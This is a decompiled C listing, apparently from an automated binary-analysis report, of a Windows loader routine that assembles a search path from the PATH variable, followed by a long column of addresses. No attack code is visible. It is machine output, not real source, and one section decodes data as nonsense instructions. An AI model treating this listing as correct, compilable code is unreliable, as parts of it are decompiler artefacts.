                                      C-Code - Quality: 83%
                                      			E03692581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, char _a1530200933) {
                                      				signed int _v8;
                                      				signed int _v16;
                                      				unsigned int _v24;
                                      				void* _v28;
                                      				signed int _v32;
                                      				unsigned int _v36;
                                      				signed int _v37;
                                      				signed int _v40;
                                      				signed int _v44;
                                      				signed int _v48;
                                      				signed int _v52;
                                      				signed int _v56;
                                      				intOrPtr _v60;
                                      				signed int _v64;
                                      				signed int _v68;
                                      				signed int _v72;
                                      				signed int _v76;
                                      				signed int _v80;
                                      				signed int _t233;
                                      				signed int _t237;
                                      				signed int _t248;
                                      				signed int _t250;
                                      				intOrPtr _t252;
                                      				signed int _t255;
                                      				signed int _t262;
                                      				signed int _t265;
                                      				signed int _t273;
                                      				signed int _t275;
                                      				signed int _t280;
                                      				signed int _t282;
                                      				void* _t284;
                                      				signed int _t285;
                                      				unsigned int _t288;
                                      				signed int _t292;
                                      				void* _t293;
                                      				signed int _t294;
                                      				signed int _t298;
                                      				intOrPtr _t311;
                                      				signed int _t320;
                                      				signed int _t322;
                                      				signed int _t323;
                                      				signed int _t327;
                                      				signed int _t328;
                                      				void* _t332;
                                      				signed int _t333;
                                      				signed int _t335;
                                      				signed int _t338;
                                      				void* _t339;
                                      
                                      				_t335 = _t338;
                                      				_t339 = _t338 - 0x4c;
                                      				_v8 =  *0x375d360 ^ _t335;
                                      				_push(__ebx);
                                      				_push(__esi);
                                      				_push(__edi);
                                      				_t327 = 0x375b2e8;
                                      				_v56 = _a4;
                                      				_v48 = __edx;
                                      				_v60 = __ecx;
                                      				_t288 = 0;
                                      				_v80 = 0;
                                      				asm("movsd");
                                      				_v64 = 0;
                                      				_v76 = 0;
                                      				_v72 = 0;
                                      				asm("movsd");
                                      				_v44 = 0;
                                      				_v52 = 0;
                                      				_v68 = 0;
                                      				asm("movsd");
                                      				_v32 = 0;
                                      				_v36 = 0;
                                      				asm("movsd");
                                      				_v16 = 0;
                                      				_t280 = 0x48;
                                      				_t308 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
                                      				_t320 = 0;
                                      				_v37 = _t308;
                                      				if(_v48 <= 0) {
                                      					L16:
                                      					_t45 = _t280 - 0x48; // 0x0
                                      					__eflags = _t45 - 0xfffe;
                                      					if(_t45 > 0xfffe) {
                                      						_t328 = 0xc0000106;
                                      						goto L32;
                                      					} else {
                                      						_t327 = L03684620(_t288,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t280);
                                      						_v52 = _t327;
                                      						__eflags = _t327;
                                      						if(_t327 == 0) {
                                      							_t328 = 0xc0000017;
                                      							goto L32;
                                      						} else {
                                      							 *(_t327 + 0x44) =  *(_t327 + 0x44) & 0x00000000;
                                      							_t50 = _t327 + 0x48; // 0x48
                                      							_t322 = _t50;
                                      							_t308 = _v32;
                                      							 *(_t327 + 0x3c) = _t280;
                                      							_t282 = 0;
                                      							 *((short*)(_t327 + 0x30)) = _v48;
                                      							__eflags = _t308;
                                      							if(_t308 != 0) {
                                      								 *(_t327 + 0x18) = _t322;
                                      								__eflags = _t308 - 0x3758478;
                                      								 *_t327 = ((0 | _t308 == 0x03758478) - 0x00000001 & 0xfffffffb) + 7;
                                      								E036AF3E0(_t322,  *((intOrPtr*)(_t308 + 4)),  *_t308 & 0x0000ffff);
                                      								_t308 = _v32;
                                      								_t339 = _t339 + 0xc;
                                      								_t282 = 1;
                                      								__eflags = _a8;
                                      								_t322 = _t322 + (( *_t308 & 0x0000ffff) >> 1) * 2;
                                      								if(_a8 != 0) {
                                      									_t273 = E036F39F2(_t322);
                                      									_t308 = _v32;
                                      									_t322 = _t273;
                                      								}
                                      							}
                                      							_t292 = 0;
                                      							_v16 = 0;
                                      							__eflags = _v48;
                                      							if(_v48 <= 0) {
                                      								L31:
                                      								_t328 = _v68;
                                      								__eflags = 0;
                                      								 *((short*)(_t322 - 2)) = 0;
                                      								goto L32;
                                      							} else {
                                      								_t280 = _t327 + _t282 * 4;
                                      								_v56 = _t280;
                                      								do {
                                      									__eflags = _t308;
                                      									if(_t308 != 0) {
                                      										_t233 =  *(_v60 + _t292 * 4);
                                      										__eflags = _t233;
                                      										if(_t233 == 0) {
                                      											goto L30;
                                      										} else {
                                      											__eflags = _t233 == 5;
                                      											if(_t233 == 5) {
                                      												goto L30;
                                      											} else {
                                      												goto L22;
                                      											}
                                      										}
                                      									} else {
                                      										L22:
                                      										 *_t280 =  *(_v60 + _t292 * 4);
                                      										 *(_t280 + 0x18) = _t322;
                                      										_t237 =  *(_v60 + _t292 * 4);
                                      										__eflags = _t237 - 8;
                                      										if(_t237 > 8) {
                                      											goto L56;
                                      										} else {
                                      											switch( *((intOrPtr*)(_t237 * 4 +  &M03692959))) {
                                      												case 0:
                                      													__ax =  *0x3758488;
                                      													__eflags = __ax;
                                      													if(__ax == 0) {
                                      														goto L29;
                                      													} else {
                                      														__ax & 0x0000ffff = E036AF3E0(__edi,  *0x375848c, __ax & 0x0000ffff);
                                      														__eax =  *0x3758488 & 0x0000ffff;
                                      														goto L26;
                                      													}
                                      													goto L108;
                                      												case 1:
                                      													L45:
                                      													E036AF3E0(_t322, _v80, _v64);
                                      													_t268 = _v64;
                                      													goto L26;
                                      												case 2:
                                      													 *0x3758480 & 0x0000ffff = E036AF3E0(__edi,  *0x3758484,  *0x3758480 & 0x0000ffff);
                                      													__eax =  *0x3758480 & 0x0000ffff;
                                      													__eax = ( *0x3758480 & 0x0000ffff) >> 1;
                                      													__edi = __edi + __eax * 2;
                                      													goto L28;
                                      												case 3:
                                      													__eax = _v44;
                                      													__eflags = __eax;
                                      													if(__eax == 0) {
                                      														goto L29;
                                      													} else {
                                      														__esi = __eax + __eax;
                                      														__eax = E036AF3E0(__edi, _v72, __esi);
                                      														__edi = __edi + __esi;
                                      														__esi = _v52;
                                      														goto L27;
                                      													}
                                      													goto L108;
                                      												case 4:
                                      													_push(0x2e);
                                      													_pop(__eax);
                                      													 *(__esi + 0x44) = __edi;
                                      													 *__edi = __ax;
                                      													__edi = __edi + 4;
                                      													_push(0x3b);
                                      													_pop(__eax);
                                      													 *(__edi - 2) = __ax;
                                      													goto L29;
                                      												case 5:
                                      													__eflags = _v36;
                                      													if(_v36 == 0) {
                                      														goto L45;
                                      													} else {
                                      														E036AF3E0(_t322, _v76, _v36);
                                      														_t268 = _v36;
                                      													}
                                      													L26:
                                      													_t339 = _t339 + 0xc;
                                      													_t322 = _t322 + (_t268 >> 1) * 2 + 2;
                                      													__eflags = _t322;
                                      													L27:
                                      													_push(0x3b);
                                      													_pop(_t270);
                                      													 *((short*)(_t322 - 2)) = _t270;
                                      													goto L28;
                                      												case 6:
                                      													__ebx = "\\W;w\\W;w";
                                      													__eflags = __ebx - "\\W;w\\W;w";
                                      													if(__ebx != "\\W;w\\W;w") {
                                      														_push(0x3b);
                                      														_pop(__esi);
                                      														do {
                                      															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
                                      															E036AF3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
                                      															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
                                      															__edi = __edi + __eax * 2;
                                      															__edi = __edi + 2;
                                      															 *(__edi - 2) = __si;
                                      															__ebx =  *__ebx;
                                      															__eflags = __ebx - "\\W;w\\W;w";
                                      														} while (__ebx != "\\W;w\\W;w");
                                      														__esi = _v52;
                                      														__ecx = _v16;
                                      														__edx = _v32;
                                      													}
                                      													__ebx = _v56;
                                      													goto L29;
                                      												case 7:
                                      													 *0x3758478 & 0x0000ffff = E036AF3E0(__edi,  *0x375847c,  *0x3758478 & 0x0000ffff);
                                      													__eax =  *0x3758478 & 0x0000ffff;
                                      													__eax = ( *0x3758478 & 0x0000ffff) >> 1;
                                      													__eflags = _a8;
                                      													__edi = __edi + __eax * 2;
                                      													if(_a8 != 0) {
                                      														__ecx = __edi;
                                      														__eax = E036F39F2(__ecx);
                                      														__edi = __eax;
                                      													}
                                      													goto L28;
                                      												case 8:
                                      													__eax = 0;
                                      													 *(__edi - 2) = __ax;
                                      													 *0x3756e58 & 0x0000ffff = E036AF3E0(__edi,  *0x3756e5c,  *0x3756e58 & 0x0000ffff);
                                      													 *(__esi + 0x38) = __edi;
                                      													__eax =  *0x3756e58 & 0x0000ffff;
                                      													__eax = ( *0x3756e58 & 0x0000ffff) >> 1;
                                      													__edi = __edi + __eax * 2;
                                      													__edi = __edi + 2;
                                      													L28:
                                      													_t292 = _v16;
                                      													_t308 = _v32;
                                      													L29:
                                      													_t280 = _t280 + 4;
                                      													__eflags = _t280;
                                      													_v56 = _t280;
                                      													goto L30;
                                      											}
                                      										}
                                      									}
                                      									goto L108;
                                      									L30:
                                      									_t292 = _t292 + 1;
                                      									_v16 = _t292;
                                      									__eflags = _t292 - _v48;
                                      								} while (_t292 < _v48);
                                      								goto L31;
                                      							}
                                      						}
                                      					}
                                      				} else {
                                      					while(1) {
                                      						L1:
                                      						_t275 =  *(_v60 + _t320 * 4);
                                      						if(_t275 > 8) {
                                      							break;
                                      						}
                                      						switch( *((intOrPtr*)(_t275 * 4 +  &M03692935))) {
                                      							case 0:
                                      								__ax =  *0x3758488;
                                      								__eflags = __ax;
                                      								if(__ax != 0) {
                                      									__eax = __ax & 0x0000ffff;
                                      									__ebx = __ebx + 2;
                                      									__eflags = __ebx;
                                      									goto L53;
                                      								}
                                      								goto L14;
                                      							case 1:
                                      								L44:
                                      								_t308 =  &_v64;
                                      								_v80 = E03692E3E(0,  &_v64);
                                      								_t280 = _t280 + _v64 + 2;
                                      								goto L13;
                                      							case 2:
                                      								__eax =  *0x3758480 & 0x0000ffff;
                                      								__ebx = __ebx + __eax;
                                      								__eflags = __dl;
                                      								if(__dl != 0) {
                                      									__eax = 0x3758480;
                                      									goto L80;
                                      								}
                                      								goto L14;
                                      							case 3:
                                      								__eax = E0367EEF0(0x37579a0);
                                      								__eax =  &_v44;
                                      								_push(__eax);
                                      								_push(0);
                                      								_push(0);
                                      								_push(4);
                                      								_push(L"PATH");
                                      								_push(0);
                                      								L57();
                                      								__esi = __eax;
                                      								_v68 = __esi;
                                      								__eflags = __esi - 0xc0000023;
                                      								if(__esi != 0xc0000023) {
                                      									L10:
                                      									__eax = E0367EB70(__ecx, 0x37579a0);
                                      									__eflags = __esi - 0xc0000100;
                                      									if(__esi == 0xc0000100) {
                                      										_v44 = _v44 & 0x00000000;
                                      										__eax = 0;
                                      										_v68 = 0;
                                      										goto L13;
                                      									} else {
                                      										__eflags = __esi;
                                      										if(__esi < 0) {
                                      											L32:
                                      											_t211 = _v72;
                                      											__eflags = _t211;
                                      											if(_t211 != 0) {
                                      												L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t211);
                                      											}
                                      											_t212 = _v52;
                                      											__eflags = _t212;
                                      											if(_t212 != 0) {
                                      												__eflags = _t328;
                                      												if(_t328 < 0) {
                                      													L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t212);
                                      													_t212 = 0;
                                      												}
                                      											}
                                      											goto L36;
                                      										} else {
                                      											__eax = _v44;
                                      											__ebx = __ebx + __eax * 2;
                                      											__ebx = __ebx + 2;
                                      											__eflags = __ebx;
                                      											L13:
                                      											_t288 = _v36;
                                      											goto L14;
                                      										}
                                      									}
                                      								} else {
                                      									__eax = _v44;
                                      									__ecx =  *0x3757b9c; // 0x0
                                      									_v44 + _v44 =  *[fs:0x30];
                                      									__ecx = __ecx + 0x180000;
                                      									__eax = L03684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
                                      									_v72 = __eax;
                                      									__eflags = __eax;
                                      									if(__eax == 0) {
                                      										__eax = E0367EB70(__ecx, 0x37579a0);
                                      										__eax = _v52;
                                      										L36:
                                      										_pop(_t321);
                                      										_pop(_t329);
                                      										__eflags = _v8 ^ _t335;
                                      										_pop(_t281);
                                      										return E036AB640(_t212, _t281, _v8 ^ _t335, _t308, _t321, _t329);
                                      									} else {
                                      										__ecx =  &_v44;
                                      										_push(__ecx);
                                      										_push(_v44);
                                      										_push(__eax);
                                      										_push(4);
                                      										_push(L"PATH");
                                      										_push(0);
                                      										L57();
                                      										__esi = __eax;
                                      										_v68 = __eax;
                                      										goto L10;
                                      									}
                                      								}
                                      								goto L108;
                                      							case 4:
                                      								__ebx = __ebx + 4;
                                      								goto L14;
                                      							case 5:
                                      								_t276 = _v56;
                                      								if(_v56 != 0) {
                                      									_t308 =  &_v36;
                                      									_t278 = E03692E3E(_t276,  &_v36);
                                      									_t288 = _v36;
                                      									_v76 = _t278;
                                      								}
                                      								if(_t288 == 0) {
                                      									goto L44;
                                      								} else {
                                      									_t280 = _t280 + 2 + _t288;
                                      								}
                                      								goto L14;
                                      							case 6:
                                      								__eax =  *0x3755764 & 0x0000ffff;
                                      								goto L53;
                                      							case 7:
                                      								__eax =  *0x3758478 & 0x0000ffff;
                                      								__ebx = __ebx + __eax;
                                      								__eflags = _a8;
                                      								if(_a8 != 0) {
                                      									__ebx = __ebx + 0x16;
                                      									__ebx = __ebx + __eax;
                                      								}
                                      								__eflags = __dl;
                                      								if(__dl != 0) {
                                      									__eax = 0x3758478;
                                      									L80:
                                      									_v32 = __eax;
                                      								}
                                      								goto L14;
                                      							case 8:
                                      								__eax =  *0x3756e58 & 0x0000ffff;
                                      								__eax = ( *0x3756e58 & 0x0000ffff) + 2;
                                      								L53:
                                      								__ebx = __ebx + __eax;
                                      								L14:
                                      								_t320 = _t320 + 1;
                                      								if(_t320 >= _v48) {
                                      									goto L16;
                                      								} else {
                                      									_t308 = _v37;
                                      									goto L1;
                                      								}
                                      								goto L108;
                                      						}
                                      					}
                                      					L56:
                                      					_t293 = 0x25;
                                      					asm("int 0x29");
                                      					asm("out 0x28, al");
                                      					asm("loopne 0x29");
                                      					 *((intOrPtr*)(_t293 + 3)) =  *((intOrPtr*)(_t293 + 3)) - _t293;
                                      					_t240 = 0x1f036926 +  *_t280 * 0x369262e;
                                      					_pop(_t284);
                                      					asm("insd");
                                      					asm("insd");
                                      					 *((intOrPtr*)(_t293 + 3)) =  *((intOrPtr*)(_t293 + 3)) - _t335;
                                      					 *((char*)(0x1f036926 +  *_t280 * 0x369262e +  *((intOrPtr*)(_t308 +  *((intOrPtr*)(_t240 +  &_a1530200933)))))) =  *((char*)(0x1f036926 +  *_t280 * 0x369262e +  *((intOrPtr*)(_t308 +  *((intOrPtr*)(_t240 +  &_a1530200933)))))) - 0x69;
                                      					asm("daa");
                                      					_t332 = _t327 + 1 + _t327 + 1 - 1;
                                      					 *((intOrPtr*)(_t293 + 3)) =  *((intOrPtr*)(_t293 + 3)) - _t293;
                                      					asm("daa");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					_push(0x20);
                                      					_push(0x373ff00);
                                      					E036BD08C(_t284, _t322, _t332);
                                      					_v44 =  *[fs:0x18];
                                      					_t323 = 0;
                                      					 *_a24 = 0;
                                      					_t285 = _a12;
                                      					__eflags = _t285;
                                      					if(_t285 == 0) {
                                      						_t248 = 0xc0000100;
                                      					} else {
                                      						_v8 = 0;
                                      						_t333 = 0xc0000100;
                                      						_v52 = 0xc0000100;
                                      						_t250 = 4;
                                      						while(1) {
                                      							_v40 = _t250;
                                      							__eflags = _t250;
                                      							if(_t250 == 0) {
                                      								break;
                                      							}
                                      							_t298 = _t250 * 0xc;
                                      							_v48 = _t298;
                                      							__eflags = _t285 -  *((intOrPtr*)(_t298 + 0x3641664));
                                      							if(__eflags <= 0) {
                                      								if(__eflags == 0) {
                                      									_t265 = E036AE5C0(_a8,  *((intOrPtr*)(_t298 + 0x3641668)), _t285);
                                      									_t339 = _t339 + 0xc;
                                      									__eflags = _t265;
                                      									if(__eflags == 0) {
                                      										_t333 = E036E51BE(_t285,  *((intOrPtr*)(_v48 + 0x364166c)), _a16, _t323, _t333, __eflags, _a20, _a24);
                                      										_v52 = _t333;
                                      										break;
                                      									} else {
                                      										_t250 = _v40;
                                      										goto L62;
                                      									}
                                      									goto L70;
                                      								} else {
                                      									L62:
                                      									_t250 = _t250 - 1;
                                      									continue;
                                      								}
                                      							}
                                      							break;
                                      						}
                                      						_v32 = _t333;
                                      						__eflags = _t333;
                                      						if(_t333 < 0) {
                                      							__eflags = _t333 - 0xc0000100;
                                      							if(_t333 == 0xc0000100) {
                                      								_t294 = _a4;
                                      								__eflags = _t294;
                                      								if(_t294 != 0) {
                                      									_v36 = _t294;
                                      									__eflags =  *_t294 - _t323;
                                      									if( *_t294 == _t323) {
                                      										_t333 = 0xc0000100;
                                      										goto L76;
                                      									} else {
                                      										_t311 =  *((intOrPtr*)(_v44 + 0x30));
                                      										_t252 =  *((intOrPtr*)(_t311 + 0x10));
                                      										__eflags =  *((intOrPtr*)(_t252 + 0x48)) - _t294;
                                      										if( *((intOrPtr*)(_t252 + 0x48)) == _t294) {
                                      											__eflags =  *(_t311 + 0x1c);
                                      											if( *(_t311 + 0x1c) == 0) {
                                      												L106:
                                      												_t333 = E03692AE4( &_v36, _a8, _t285, _a16, _a20, _a24);
                                      												_v32 = _t333;
                                      												__eflags = _t333 - 0xc0000100;
                                      												if(_t333 != 0xc0000100) {
                                      													goto L69;
                                      												} else {
                                      													_t323 = 1;
                                      													_t294 = _v36;
                                      													goto L75;
                                      												}
                                      											} else {
                                      												_t255 = E03676600( *(_t311 + 0x1c));
                                      												__eflags = _t255;
                                      												if(_t255 != 0) {
                                      													goto L106;
                                      												} else {
                                      													_t294 = _a4;
                                      													goto L75;
                                      												}
                                      											}
                                      										} else {
                                      											L75:
                                      											_t333 = E03692C50(_t294, _a8, _t285, _a16, _a20, _a24, _t323);
                                      											L76:
                                      											_v32 = _t333;
                                      											goto L69;
                                      										}
                                      									}
                                      									goto L108;
                                      								} else {
                                      									E0367EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
                                      									_v8 = 1;
                                      									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
                                      									_t333 = _a24;
                                      									_t262 = E03692AE4( &_v36, _a8, _t285, _a16, _a20, _t333);
                                      									_v32 = _t262;
                                      									__eflags = _t262 - 0xc0000100;
                                      									if(_t262 == 0xc0000100) {
                                      										_v32 = E03692C50(_v36, _a8, _t285, _a16, _a20, _t333, 1);
                                      									}
                                      									_v8 = _t323;
                                      									E03692ACB();
                                      								}
                                      							}
                                      						}
                                      						L69:
                                      						_v8 = 0xfffffffe;
                                      						_t248 = _t333;
                                      					}
                                      					L70:
                                      					return E036BD0D1(_t248);
                                      				}
                                      				L108:
                                      			}



















































                                      0x03692584
                                      0x03692586
                                      0x03692590
                                      0x03692596
                                      0x03692597
                                      0x03692598
                                      0x03692599
                                      0x0369259e
                                      0x036925a4
                                      0x036925a9
                                      0x036925ac
                                      0x036925ae
                                      0x036925b1
                                      0x036925b2
                                      0x036925b5
                                      0x036925b8
                                      0x036925bb
                                      0x036925bc
                                      0x036925bf
                                      0x036925c2
                                      0x036925c5
                                      0x036925c6
                                      0x036925cb
                                      0x036925ce
                                      0x036925d8
                                      0x036925dd
                                      0x036925de
                                      0x036925e1
                                      0x036925e3
                                      0x036925e9
                                      0x036926da
                                      0x036926da
                                      0x036926dd
                                      0x036926e2
                                      0x036d5b56
                                      0x00000000
                                      0x036926e8
                                      0x036926f9
                                      0x036926fb
                                      0x036926fe
                                      0x03692700
                                      0x036d5b60
                                      0x00000000
                                      0x03692706
                                      0x03692706
                                      0x0369270a
                                      0x0369270a
                                      0x0369270d
                                      0x03692713
                                      0x03692716
                                      0x03692718
                                      0x0369271c
                                      0x0369271e
                                      0x036d5b6c
                                      0x036d5b6f
                                      0x036d5b7f
                                      0x036d5b89
                                      0x036d5b8e
                                      0x036d5b93
                                      0x036d5b96
                                      0x036d5b9c
                                      0x036d5ba0
                                      0x036d5ba3
                                      0x036d5bab
                                      0x036d5bb0
                                      0x036d5bb3
                                      0x036d5bb3
                                      0x036d5ba3
                                      0x03692724
                                      0x03692726
                                      0x03692729
                                      0x0369272c
                                      0x0369279d
                                      0x0369279d
                                      0x036927a0
                                      0x036927a2
                                      0x00000000
                                      0x0369272e
                                      0x0369272e
                                      0x03692731
                                      0x03692734
                                      0x03692734
                                      0x03692736
                                      0x036d5bc1
                                      0x036d5bc1
                                      0x036d5bc4
                                      0x00000000
                                      0x036d5bca
                                      0x036d5bca
                                      0x036d5bcd
                                      0x00000000
                                      0x036d5bd3
                                      0x00000000
                                      0x036d5bd3
                                      0x036d5bcd
                                      0x0369273c
                                      0x0369273c
                                      0x03692742
                                      0x03692747
                                      0x0369274a
                                      0x0369274d
                                      0x03692750
                                      0x00000000
                                      0x03692756
                                      0x03692756
                                      0x00000000
                                      0x03692902
                                      0x03692908
                                      0x0369290b
                                      0x00000000
                                      0x03692911
                                      0x0369291c
                                      0x03692921
                                      0x00000000
                                      0x03692921
                                      0x00000000
                                      0x00000000
                                      0x03692880
                                      0x03692887
                                      0x0369288c
                                      0x00000000
                                      0x00000000
                                      0x03692805
                                      0x0369280a
                                      0x03692814
                                      0x03692816
                                      0x00000000
                                      0x00000000
                                      0x0369281e
                                      0x03692821
                                      0x03692823
                                      0x00000000
                                      0x03692829
                                      0x03692829
                                      0x03692831
                                      0x0369283c
                                      0x0369283e
                                      0x00000000
                                      0x0369283e
                                      0x00000000
                                      0x00000000
                                      0x0369284e
                                      0x03692850
                                      0x03692851
                                      0x03692854
                                      0x03692857
                                      0x0369285a
                                      0x0369285c
                                      0x0369285d
                                      0x00000000
                                      0x00000000
                                      0x0369275d
                                      0x03692761
                                      0x00000000
                                      0x03692767
                                      0x0369276e
                                      0x03692773
                                      0x03692773
                                      0x03692776
                                      0x03692778
                                      0x0369277e
                                      0x0369277e
                                      0x03692781
                                      0x03692781
                                      0x03692783
                                      0x03692784
                                      0x00000000
                                      0x00000000
                                      0x036d5bd8
                                      0x036d5bde
                                      0x036d5be4
                                      0x036d5be6
                                      0x036d5be8
                                      0x036d5be9
                                      0x036d5bee
                                      0x036d5bf8
                                      0x036d5bff
                                      0x036d5c01
                                      0x036d5c04
                                      0x036d5c07
                                      0x036d5c0b
                                      0x036d5c0d
                                      0x036d5c0d
                                      0x036d5c15
                                      0x036d5c18
                                      0x036d5c1b
                                      0x036d5c1b
                                      0x036d5c1e
                                      0x00000000
                                      0x00000000
                                      0x036928c3
                                      0x036928c8
                                      0x036928d2
                                      0x036928d4
                                      0x036928d8
                                      0x036928db
                                      0x036d5c26
                                      0x036d5c28
                                      0x036d5c2d
                                      0x036d5c2d
                                      0x00000000
                                      0x00000000
                                      0x036d5c34
                                      0x036d5c36
                                      0x036d5c49
                                      0x036d5c4e
                                      0x036d5c54
                                      0x036d5c5b
                                      0x036d5c5d
                                      0x036d5c60
                                      0x03692788
                                      0x03692788
                                      0x0369278b
                                      0x0369278e
                                      0x0369278e
                                      0x0369278e
                                      0x03692791
                                      0x00000000
                                      0x00000000
                                      0x03692756
                                      0x03692750
                                      0x00000000
                                      0x03692794
                                      0x03692794
                                      0x03692795
                                      0x03692798
                                      0x03692798
                                      0x00000000
                                      0x03692734
                                      0x0369272c
                                      0x03692700
                                      0x036925ef
                                      0x036925ef
                                      0x036925ef
                                      0x036925f2
                                      0x036925f8
                                      0x00000000
                                      0x00000000
                                      0x036925fe
                                      0x00000000
                                      0x036928e6
                                      0x036928ec
                                      0x036928ef
                                      0x036928f5
                                      0x036928f8
                                      0x036928f8
                                      0x00000000
                                      0x036928f8
                                      0x00000000
                                      0x00000000
                                      0x03692866
                                      0x03692866
                                      0x03692876
                                      0x03692879
                                      0x00000000
                                      0x00000000
                                      0x036927e0
                                      0x036927e7
                                      0x036927e9
                                      0x036927eb
                                      0x036d5afd
                                      0x00000000
                                      0x036d5afd
                                      0x00000000
                                      0x00000000
                                      0x03692633
                                      0x03692638
                                      0x0369263b
                                      0x0369263c
                                      0x0369263e
                                      0x03692640
                                      0x03692642
                                      0x03692647
                                      0x03692649
                                      0x0369264e
                                      0x03692650
                                      0x03692653
                                      0x03692659
                                      0x036926a2
                                      0x036926a7
                                      0x036926ac
                                      0x036926b2
                                      0x036d5b11
                                      0x036d5b15
                                      0x036d5b17
                                      0x00000000
                                      0x036926b8
                                      0x036926b8
                                      0x036926ba
                                      0x036927a6
                                      0x036927a6
                                      0x036927a9
                                      0x036927ab
                                      0x036927b9
                                      0x036927b9
                                      0x036927be
                                      0x036927c1
                                      0x036927c3
                                      0x036927c5
                                      0x036927c7
                                      0x036d5c74
                                      0x036d5c79
                                      0x036d5c79
                                      0x036927c7
                                      0x00000000
                                      0x036926c0
                                      0x036926c0
                                      0x036926c3
                                      0x036926c6
                                      0x036926c6
                                      0x036926c9
                                      0x036926c9
                                      0x00000000
                                      0x036926c9
                                      0x036926ba
                                      0x0369265b
                                      0x0369265b
                                      0x0369265e
                                      0x03692667
                                      0x0369266d
                                      0x03692677
                                      0x0369267c
                                      0x0369267f
                                      0x03692681
                                      0x036d5b49
                                      0x036d5b4e
                                      0x036927cd
                                      0x036927d0
                                      0x036927d1
                                      0x036927d2
                                      0x036927d4
                                      0x036927dd
                                      0x03692687
                                      0x03692687
                                      0x0369268a
                                      0x0369268b
                                      0x0369268e
                                      0x0369268f
                                      0x03692691
                                      0x03692696
                                      0x03692698
                                      0x0369269d
                                      0x0369269f
                                      0x00000000
                                      0x0369269f
                                      0x03692681
                                      0x00000000
                                      0x00000000
                                      0x03692846
                                      0x00000000
                                      0x00000000
                                      0x03692605
                                      0x0369260a
                                      0x0369260c
                                      0x03692611
                                      0x03692616
                                      0x03692619
                                      0x03692619
                                      0x0369261e
                                      0x00000000
                                      0x03692624
                                      0x03692627
                                      0x03692627
                                      0x00000000
                                      0x00000000
                                      0x036d5b1f
                                      0x00000000
                                      0x00000000
                                      0x03692894
                                      0x0369289b
                                      0x0369289d
                                      0x036928a1
                                      0x036d5b2b
                                      0x036d5b2e
                                      0x036d5b2e
                                      0x036928a7
                                      0x036928a9
                                      0x036d5b04
                                      0x036d5b09
                                      0x036d5b09
                                      0x036d5b09
                                      0x00000000
                                      0x00000000
                                      0x036d5b35
                                      0x036d5b3c
                                      0x036928fb
                                      0x036928fb
                                      0x036926cc
                                      0x036926cc
                                      0x036926d0
                                      0x00000000
                                      0x036926d2
                                      0x036926d2
                                      0x00000000
                                      0x036926d2
                                      0x00000000
                                      0x00000000
                                      0x036925fe
                                      0x0369292d
                                      0x0369292f
                                      0x03692930
                                      0x03692935
                                      0x0369293d
                                      0x03692946
                                      0x03692949
                                      0x0369294e
                                      0x0369294f
                                      0x03692957
                                      0x0369295a
                                      0x0369295d
                                      0x03692962
                                      0x03692969
                                      0x0369296a
                                      0x0369296e
                                      0x0369297d
                                      0x0369297e
                                      0x0369297f
                                      0x03692980
                                      0x03692981
                                      0x03692982
                                      0x03692983
                                      0x03692984
                                      0x03692985
                                      0x03692986
                                      0x03692987
                                      0x03692988
                                      0x03692989
                                      0x0369298a
                                      0x0369298b
                                      0x0369298c
                                      0x0369298d
                                      0x0369298e
                                      0x0369298f
                                      0x03692990
                                      0x03692992
                                      0x03692997
                                      0x036929a3
                                      0x036929a6
                                      0x036929ab
                                      0x036929ad
                                      0x036929b0
                                      0x036929b2
                                      0x036d5c80
                                      0x036929b8
                                      0x036929b8
                                      0x036929bb
                                      0x036929c0
                                      0x036929c5
                                      0x036929c6
                                      0x036929c6
                                      0x036929c9
                                      0x036929cb
                                      0x00000000
                                      0x00000000
                                      0x036929cd
                                      0x036929d0
                                      0x036929d9
                                      0x036929db
                                      0x036929dd
                                      0x03692a7f
                                      0x03692a84
                                      0x03692a87
                                      0x03692a89
                                      0x036d5ca1
                                      0x036d5ca3
                                      0x00000000
                                      0x03692a8f
                                      0x03692a8f
                                      0x00000000
                                      0x03692a8f
                                      0x00000000
                                      0x036929e3
                                      0x036929e3
                                      0x036929e3
                                      0x00000000
                                      0x036929e3
                                      0x036929dd
                                      0x00000000
                                      0x036929db
                                      0x036929e6
                                      0x036929e9
                                      0x036929eb
                                      0x036929ed
                                      0x036929f3
                                      0x036929f5
                                      0x036929f8
                                      0x036929fa
                                      0x03692a97
                                      0x03692a9a
                                      0x03692a9d
                                      0x03692add
                                      0x00000000
                                      0x03692a9f
                                      0x03692aa2
                                      0x03692aa5
                                      0x03692aa8
                                      0x03692aab
                                      0x036d5cab
                                      0x036d5caf
                                      0x036d5cc5
                                      0x036d5cda
                                      0x036d5cdc
                                      0x036d5cdf
                                      0x036d5ce5
                                      0x00000000
                                      0x036d5ceb
                                      0x036d5ced
                                      0x036d5cee
                                      0x00000000
                                      0x036d5cee
                                      0x036d5cb1
                                      0x036d5cb4
                                      0x036d5cb9
                                      0x036d5cbb
                                      0x00000000
                                      0x036d5cbd
                                      0x036d5cbd
                                      0x00000000
                                      0x036d5cbd
                                      0x036d5cbb
                                      0x03692ab1
                                      0x03692ab1
                                      0x03692ac4
                                      0x03692ac6
                                      0x03692ac6
                                      0x00000000
                                      0x03692ac6
                                      0x03692aab
                                      0x00000000
                                      0x03692a00
                                      0x03692a09
                                      0x03692a0e
                                      0x03692a21
                                      0x03692a24
                                      0x03692a35
